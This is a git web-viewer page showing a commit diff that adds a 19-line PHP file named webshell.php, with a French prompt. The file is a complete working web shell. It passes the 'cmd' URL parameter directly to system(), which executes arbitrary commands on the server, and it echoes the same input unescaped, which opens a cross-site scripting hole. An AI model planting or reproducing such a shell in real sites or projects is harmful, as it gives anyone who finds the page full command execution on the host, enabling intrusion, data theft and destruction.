summaryrefslogtreecommitdiff
path: root/webshell.php
diff options
context:
space:
mode:
Diffstat (limited to 'webshell.php')
-rw-r--r--webshell.php19
1 files changed, 19 insertions, 0 deletions
diff --git a/webshell.php b/webshell.php
new file mode 100644
index 0000000..679bb7a
--- /dev/null
+++ b/webshell.php
@@ -0,0 +1,19 @@
+<!DOCTYPE html>
+<html>
+<head>
+<title>Web shell</title>
+</head>
+<body>
+<h1>Web shell</h1>
+<p>Votre commande :
+<?php if (isset($_GET['cmd'])) echo $_GET['cmd'] ?>
+</p>
+<form>
+<input type="text" name="cmd" autofocus />
+<input type="submit" />
+</form>
+<pre>
+<?php if (isset($_GET['cmd'])) system($_GET['cmd']) ?>
+</pre>
+</body>
+</html>